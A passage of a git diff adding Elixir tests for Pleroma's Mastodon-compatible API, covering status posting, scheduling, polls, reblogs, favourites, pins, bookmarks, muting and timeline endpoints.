Kernel.put_in(["pleroma", "conversation_id"], nil) + + assert real_status == fake_status + end + + test "posting a status with OGP link preview", %{conn: conn} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + Config.put([:rich_media, :enabled], true) + + conn = + conn + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp" + }) + + assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200) + assert Activity.get_by_id(id) + end + + test "posting a direct status", %{conn: conn} do + user2 = insert(:user) + content = "direct cofe @#{user2.nickname}" + + conn = + conn + |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) + + assert %{"id" => id} = response = json_response(conn, 200) + assert response["visibility"] == "direct" + assert response["pleroma"]["direct_conversation_id"] + assert activity = Activity.get_by_id(id) + assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] + assert activity.data["to"] == [user2.ap_id] + assert activity.data["cc"] == [] + end + end + + describe "posting scheduled statuses" do + test "creates a scheduled activity", %{conn: conn} do + user = insert(:user) + scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200) + assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at) + assert [] == Repo.all(Activity) + end + + test "creates a scheduled activity with a media attachment", %{conn: conn} do + user = insert(:user) + scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "media_ids" => [to_string(upload.id)], + "status" => "scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200) + assert %{"type" => "image"} = media_attachment + end + + test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", + %{conn: conn} do + user = insert(:user) + + scheduled_at = + NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "not scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"content" => "not scheduled"} = json_response(conn, 200) + assert [] == Repo.all(ScheduledActivity) + end + + test "returns error when daily user limit is exceeded", %{conn: conn} do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) + + assert %{"error" => "daily limit exceeded"} == json_response(conn, 422) + end + + test "returns error when total user limit is exceeded", %{conn: conn} do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + tomorrow = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.hours(36), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) + + assert %{"error" => "total limit exceeded"} == json_response(conn, 422) + end + end + + describe "posting polls" do + test "posting a poll", %{conn: conn} do + user = insert(:user) + time = NaiveDateTime.utc_now() + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "Who is the #bestgrill?", + "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420} + }) + + response = json_response(conn, 200) + + assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> + title in ["Rei", "Asuka", "Misato"] + end) + + assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 + refute response["poll"]["expred"] + end + + test "option limit is enforced", %{conn: conn} do + user = insert(:user) + limit = Config.get([:instance, :poll_limits, :max_options]) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "desu~", + "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} + }) + + %{"error" => error} = json_response(conn, 422) + assert error == "Poll can't contain more than #{limit} options" + end + + test "option character limit is enforced", %{conn: conn} do + user = insert(:user) + limit = Config.get([:instance, :poll_limits, :max_option_chars]) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "...", + "poll" => %{ + "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], + "expires_in" => 1 + } + }) + + %{"error" => error} = json_response(conn, 422) + assert error == "Poll options cannot be longer than #{limit} characters each" + end + + test "minimal date limit is enforced", %{conn: conn} do + user = insert(:user) + limit = Config.get([:instance, :poll_limits, :min_expiration]) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "imagine arbitrary limits", + "poll" => %{ + "options" => ["this post was made by pleroma gang"], + "expires_in" => limit - 1 + } + }) + + %{"error" => error} = json_response(conn, 422) + assert error == "Expiration date is too soon" + end + + test "maximum date limit is enforced", %{conn: conn} do + user = insert(:user) + limit = Config.get([:instance, :poll_limits, :max_expiration]) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "status" => "imagine arbitrary limits", + "poll" => %{ + "options" => ["this post was made by pleroma gang"], + "expires_in" => limit + 1 + } + }) + + %{"error" => error} = json_response(conn, 422) + assert error == "Expiration date is too far in the future" + end + end + + test "get a status", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> get("/api/v1/statuses/#{activity.id}") + + assert %{"id" => id} = json_response(conn, 200) + assert id == to_string(activity.id) + end + + test "get statuses by IDs", %{conn: conn} do + %{id: id1} = insert(:note_activity) + %{id: id2} = insert(:note_activity) + + query_string = "ids[]=#{id1}&ids[]=#{id2}" + conn = get(conn, "/api/v1/statuses/?#{query_string}") + + assert [%{"id" => ^id1}, %{"id" => ^id2}] = Enum.sort_by(json_response(conn, :ok), & &1["id"]) + end + + describe "deleting a status" do + test "when you created it", %{conn: conn} do + activity = insert(:note_activity) + author = User.get_cached_by_ap_id(activity.data["actor"]) + + conn = + conn + |> assign(:user, author) + |> delete("/api/v1/statuses/#{activity.id}") + + assert %{} = json_response(conn, 200) + + refute Activity.get_by_id(activity.id) + end + + test "when you didn't create it", %{conn: conn} do + activity = insert(:note_activity) + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> delete("/api/v1/statuses/#{activity.id}") + + assert %{"error" => _} = json_response(conn, 403) + + assert Activity.get_by_id(activity.id) == activity + end + + test "when you're an admin or moderator", %{conn: conn} do + activity1 = insert(:note_activity) + activity2 = insert(:note_activity) + admin = insert(:user, info: %{is_admin: true}) + moderator = insert(:user, info: %{is_moderator: true}) + + res_conn = + conn + |> assign(:user, admin) + |> delete("/api/v1/statuses/#{activity1.id}") + + assert %{} = json_response(res_conn, 200) + + res_conn = + conn + |> assign(:user, moderator) + |> delete("/api/v1/statuses/#{activity2.id}") + + assert %{} = json_response(res_conn, 200) + + refute Activity.get_by_id(activity1.id) + refute Activity.get_by_id(activity2.id) + end + end + + describe "reblogging" do + test "reblogs and returns the reblogged status", %{conn: conn} do + activity = insert(:note_activity) + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/reblog") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, + "reblogged" => true + } = json_response(conn, 200) + + assert to_string(activity.id) == id + end + + test "reblogged status for another user", %{conn: conn} do + activity = insert(:note_activity) + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + CommonAPI.favorite(activity.id, user2) + {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) + {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1) + {:ok, _, _object} = CommonAPI.repeat(activity.id, user2) + + conn_res = + conn + |> assign(:user, user3) + |> get("/api/v1/statuses/#{reblog_activity1.id}") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, + "reblogged" => false, + "favourited" => false, + "bookmarked" => false + } = json_response(conn_res, 200) + + conn_res = + conn + |> assign(:user, user2) + |> get("/api/v1/statuses/#{reblog_activity1.id}") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, + "reblogged" => true, + "favourited" => true, + "bookmarked" => true + } = json_response(conn_res, 200) + + assert to_string(activity.id) == id + end + + test "returns 400 error when activity is not exist", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/foo/reblog") + + assert json_response(conn, 400) == %{"error" => "Could not repeat"} + end + end + + describe "unreblogging" do + test "unreblogs and returns the unreblogged status", %{conn: conn} do + activity = insert(:note_activity) + user = insert(:user) + + {:ok, _, _} = CommonAPI.repeat(activity.id, user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unreblog") + + assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 400 error when activity is not exist", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/foo/unreblog") + + assert json_response(conn, 400) == %{"error" => "Could not unrepeat"} + end + end + + describe "favoriting" do + test "favs a status and returns it", %{conn: conn} do + activity = insert(:note_activity) + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/favourite") + + assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = + json_response(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 400 error for a wrong id", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/1/favourite") + + assert json_response(conn, 400) == %{"error" => "Could not favorite"} + end + end + + describe "unfavoriting" do + test "unfavorites a status and returns it", %{conn: conn} do + activity = insert(:note_activity) + user = insert(:user) + + {:ok, _, _} = CommonAPI.favorite(activity.id, user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unfavourite") + + assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = + json_response(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 400 error for a wrong id", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/1/unfavourite") + + assert json_response(conn, 400) == %{"error" => "Could not unfavorite"} + end + end + + describe "pinned statuses" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"}) + + [user: user, activity: activity] + end + + clear_config([:instance, :max_pinned_statuses]) do + Config.put([:instance, :max_pinned_statuses], 1) + end + + test "pin status", %{conn: conn, user: user, activity: activity} do + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "pinned" => true} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/pin") + |> json_response(200) + + assert [%{"id" => ^id_str, "pinned" => true}] = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response(200) + end + + test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do + {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{dm.id}/pin") + + assert json_response(conn, 400) == %{"error" => "Could not pin"} + end + + test "unpin status", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.pin(activity.id, user) + + id_str = to_string(activity.id) + user = refresh_record(user) + + assert %{"id" => ^id_str, "pinned" => false} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unpin") + |> json_response(200) + + assert [] = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response(200) + end + + test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/1/unpin") + + assert json_response(conn, 400) == %{"error" => "Could not unpin"} + end + + test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do + {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"}) + + id_str_one = to_string(activity_one.id) + + assert %{"id" => ^id_str_one, "pinned" => true} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{id_str_one}/pin") + |> json_response(200) + + user = refresh_record(user) + + assert %{"error" => "You have already pinned the maximum number of statuses"} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity_two.id}/pin") + |> json_response(400) + end + end + + describe "cards" do + setup do + Config.put([:rich_media, :enabled], true) + + user = insert(:user) + %{user: user} + end + + test "returns rich-media card", %{conn: conn, user: user} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"}) + + card_data = %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "provider_name" => "example.com", + "provider_url" => "https://example.com", + "title" => "The Rock", + "type" => "link", + "url" => "https://example.com/ogp", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "pleroma" => %{ + "opengraph" => %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock", + "type" => "video.movie", + "url" => "https://example.com/ogp", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." + } + } + } + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response(200) + + assert response == card_data + + # works with private posts + {:ok, activity} = + CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"}) + + response_two = + conn + |> assign(:user, user) + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response(200) + + assert response_two == card_data + end + + test "replaces missing description with an empty string", %{conn: conn, user: user} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + {:ok, activity} = + CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"}) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response(:ok) + + assert response == %{ + "type" => "link", + "title" => "Pleroma", + "description" => "", + "image" => nil, + "provider_name" => "example.com", + "provider_url" => "https://example.com", + "url" => "https://example.com/ogp-missing-data", + "pleroma" => %{ + "opengraph" => %{ + "title" => "Pleroma", + "type" => "website", + "url" => "https://example.com/ogp-missing-data" + } + } + } + end + end + + test "bookmarks" do + user = insert(:user) + for_user = insert(:user) + + {:ok, activity1} = + CommonAPI.post(user, %{ + "status" => "heweoo?" + }) + + {:ok, activity2} = + CommonAPI.post(user, %{ + "status" => "heweoo!" + }) + + response1 = + build_conn() + |> assign(:user, for_user) + |> post("/api/v1/statuses/#{activity1.id}/bookmark") + + assert json_response(response1, 200)["bookmarked"] == true + + response2 = + build_conn() + |> assign(:user, for_user) + |> post("/api/v1/statuses/#{activity2.id}/bookmark") + + assert json_response(response2, 200)["bookmarked"] == true + + bookmarks = + build_conn() + |> assign(:user, for_user) + |> get("/api/v1/bookmarks") + + assert [json_response(response2, 200), json_response(response1, 200)] == + json_response(bookmarks, 200) + + response1 = + build_conn() + |> assign(:user, for_user) + |> post("/api/v1/statuses/#{activity1.id}/unbookmark") + + assert json_response(response1, 200)["bookmarked"] == false + + bookmarks = + build_conn() + |> assign(:user, for_user) + |> get("/api/v1/bookmarks") + + assert [json_response(response2, 200)] == json_response(bookmarks, 200) + end + + describe "conversation muting" do + setup do + post_user = insert(:user) + user = insert(:user) + + {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"}) + + [user: user, activity: activity] + end + + test "mute conversation", %{conn: conn, user: user, activity: activity} do + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "muted" => true} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/mute") + |> json_response(200) + end + + test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/mute") + + assert json_response(conn, 400) == %{"error" => "conversation is already muted"} + end + + test "unmute conversation", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + + id_str = to_string(activity.id) + user = refresh_record(user) + + assert %{"id" => ^id_str, "muted" => false} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unmute") + |> json_response(200) + end + end + + test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + + {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"}) + + # Reply to status from another user + conn1 = + conn + |> assign(:user, user2) + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + + assert %{"content" => "xD", "id" => id} = json_response(conn1, 200) + + activity = Activity.get_by_id_with_object(id) + + assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] + assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + + # Reblog from the third user + conn2 = + conn + |> assign(:user, user3) + |> post("/api/v1/statuses/#{activity.id}/reblog") + + assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = + json_response(conn2, 200) + + assert to_string(activity.id) == id + + # Getting third user status + conn3 = + conn + |> assign(:user, user3) + |> get("api/v1/timelines/home") + + [reblogged_activity] = json_response(conn3, 200) + + assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id + + replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) + assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id + end + + describe "GET /api/v1/statuses/:id/favourited_by" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) + + conn = + build_conn() + |> assign(:user, user) + + [conn: conn, activity: activity, user: user] + end + + test "returns users who have favorited the status", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response(:ok) + + [%{"id" => id}] = response + + assert id == other_user.id + end + + test "returns empty array when status has not been favorited yet", %{ + conn: conn, + activity: activity + } do + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have favorited the status but are blocked", %{ + conn: %{assigns: %{user: user}} = conn, + activity: activity + } do + other_user = insert(:user) + {:ok, user} = User.block(user, other_user) + + {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response(:ok) + + assert Enum.empty?(response) + end + + test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + + response = + conn + |> assign(:user, nil) + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response(:ok) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "requires authentification for private posts", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + "status" => "@#{other_user.nickname} wanna get some #cofe together?", + "visibility" => "direct" + }) + + {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + + conn + |> assign(:user, nil) + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response(404) + + response = + build_conn() + |> assign(:user, other_user) + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response(200) + + [%{"id" => id}] = response + assert id == other_user.id + end + end + + describe "GET /api/v1/statuses/:id/reblogged_by" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) + + conn = + build_conn() + |> assign(:user, user) + + [conn: conn, activity: activity, user: user] + end + + test "returns users who have reblogged the status", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response(:ok) + + [%{"id" => id}] = response + + assert id == other_user.id + end + + test "returns empty array when status has not been reblogged yet", %{ + conn: conn, + activity: activity + } do + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have reblogged the status but are blocked", %{ + conn: %{assigns: %{user: user}} = conn, + activity: activity + } do + other_user = insert(:user) + {:ok, user} = User.block(user, other_user) + + {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response(:ok) + + assert Enum.empty?(response) + end + + test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> assign(:user, nil) + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response(:ok) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "requires authentification for private posts", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + "status" => "@#{other_user.nickname} wanna get some #cofe together?", + "visibility" => "direct" + }) + + conn + |> assign(:user, nil) + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response(404) + + response = + build_conn() + |> assign(:user, other_user) + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response(200) + + assert [] == response + end + end + + test "context" do + user = insert(:user) + + {:ok, %{id: id1}} = CommonAPI.post(user, %{"status" => "1"}) + {:ok, %{id: id2}} = CommonAPI.post(user, %{"status" => "2", "in_reply_to_status_id" => id1}) + {:ok, %{id: id3}} = CommonAPI.post(user, %{"status" => "3", "in_reply_to_status_id" => id2}) + {:ok, %{id: id4}} = CommonAPI.post(user, %{"status" => "4", "in_reply_to_status_id" => id3}) + {:ok, %{id: id5}} = CommonAPI.post(user, %{"status" => "5", "in_reply_to_status_id" => id4}) + + response = + build_conn() + |> assign(:user, nil) + |> get("/api/v1/statuses/#{id3}/context") + |> json_response(:ok) + + assert %{ + "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}], + "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}] + } = response + end +end diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs new file mode 100644 index 000000000..d3652d964 --- /dev/null +++ b/test/web/mastodon_api/controllers/timeline_controller_test.exs @@ -0,0 +1,291 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import Tesla.Mock + + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OStatus + + clear_config([:instance, :public]) + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "the home timeline", %{conn: conn} do + user = insert(:user) + following = insert(:user) + + {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/timelines/home") + + assert Enum.empty?(json_response(conn, :ok)) + + {:ok, user} = User.follow(user, following) + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/v1/timelines/home") + + assert [%{"content" => "test"}] = json_response(conn, :ok) + end + + describe "public" do + @tag capture_log: true + test "the public timeline", %{conn: conn} do + following = insert(:user) + + {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) + + {:ok, [_activity]} = + OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") + + conn = get(conn, "/api/v1/timelines/public", %{"local" => "False"}) + + assert length(json_response(conn, :ok)) == 2 + + conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "True"}) + + assert [%{"content" => "test"}] = json_response(conn, :ok) + + conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "1"}) + + assert [%{"content" => "test"}] = json_response(conn, :ok) + end + + test "the public timeline when public is set to false", %{conn: conn} do + Config.put([:instance, :public], false) + + assert %{"error" => "This resource requires authentication."} == + conn + |> get("/api/v1/timelines/public", %{"local" => "False"}) + |> json_response(:forbidden) + end + + test "the public timeline includes only public statuses for an authenticated user" do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + + {:ok, _activity} = CommonAPI.post(user, %{"status" => "test"}) + {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"}) + {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"}) + {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) + + res_conn = get(conn, "/api/v1/timelines/public") + assert length(json_response(res_conn, 200)) == 1 + end + end + + describe "direct" do + test "direct timeline", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + {:ok, user_two} = User.follow(user_two, user_one) + + {:ok, direct} = + CommonAPI.post(user_one, %{ + "status" => "Hi @#{user_two.nickname}!", + "visibility" => "direct" + }) + + {:ok, _follower_only} = + CommonAPI.post(user_one, %{ + "status" => "Hi @#{user_two.nickname}!", + "visibility" => "private" + }) + + # Only direct should be visible here + res_conn = + conn + |> assign(:user, user_two) + |> get("api/v1/timelines/direct") + + [status] = json_response(res_conn, :ok) + + assert %{"visibility" => "direct"} = status + assert status["url"] != direct.data["id"] + + # User should be able to see their own direct message + res_conn = + build_conn() + |> assign(:user, user_one) + |> get("api/v1/timelines/direct") + + [status] = json_response(res_conn, :ok) + + assert %{"visibility" => "direct"} = status + + # Both should be visible here + res_conn = + conn + |> assign(:user, user_two) + |> get("api/v1/timelines/home") + + [_s1, _s2] = json_response(res_conn, :ok) + + # Test pagination + Enum.each(1..20, fn _ -> + {:ok, _} = + CommonAPI.post(user_one, %{ + "status" => "Hi @#{user_two.nickname}!", + "visibility" => "direct" + }) + end) + + res_conn = + conn + |> assign(:user, user_two) + |> get("api/v1/timelines/direct") + + statuses = json_response(res_conn, :ok) + assert length(statuses) == 20 + + res_conn = + conn + |> assign(:user, user_two) + |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]}) + + [status] = json_response(res_conn, :ok) + + assert status["url"] != direct.data["id"] + end + + test "doesn't include DMs from blocked users", %{conn: conn} do + blocker = insert(:user) + blocked = insert(:user) + user = insert(:user) + {:ok, blocker} = User.block(blocker, blocked) + + {:ok, _blocked_direct} = + CommonAPI.post(blocked, %{ + "status" => "Hi @#{blocker.nickname}!", + "visibility" => "direct" + }) + + {:ok, direct} = + CommonAPI.post(user, %{ + "status" => "Hi @#{blocker.nickname}!", + "visibility" => "direct" + }) + + res_conn = + conn + |> assign(:user, user) + |> get("api/v1/timelines/direct") + + [status] = json_response(res_conn, :ok) + assert status["id"] == direct.id + end + end + + describe "list" do + test "list timeline", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."}) + {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response(conn, :ok) + + assert id == to_string(activity_two.id) + end + + test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) + + {:ok, _activity_two} = + CommonAPI.post(other_user, %{ + "status" => "Marisa is cute.", + "visibility" => "private" + }) + + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response(conn, :ok) + + assert id == to_string(activity_one.id) + end + end + + describe "hashtag" do + @tag capture_log: true + test "hashtag timeline", %{conn: conn} do + following = insert(:user) + + {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"}) + + {:ok, [_activity]} = + OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") + + nconn = get(conn, "/api/v1/timelines/tag/2hu") + + assert [%{"id" => id}] = json_response(nconn, :ok) + + assert id == to_string(activity.id) + + # works for different capitalization too + nconn = get(conn, "/api/v1/timelines/tag/2HU") + + assert [%{"id" => id}] = json_response(nconn, :ok) + + assert id == to_string(activity.id) + end + + test "multi-hashtag timeline", %{conn: conn} do + user = insert(:user) + + {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"}) + {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"}) + {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"}) + + any_test = get(conn, "/api/v1/timelines/tag/test", %{"any" => ["test1"]}) + + [status_none, status_test1, status_test] = json_response(any_test, :ok) + + assert to_string(activity_test.id) == status_test["id"] + assert to_string(activity_test1.id) == 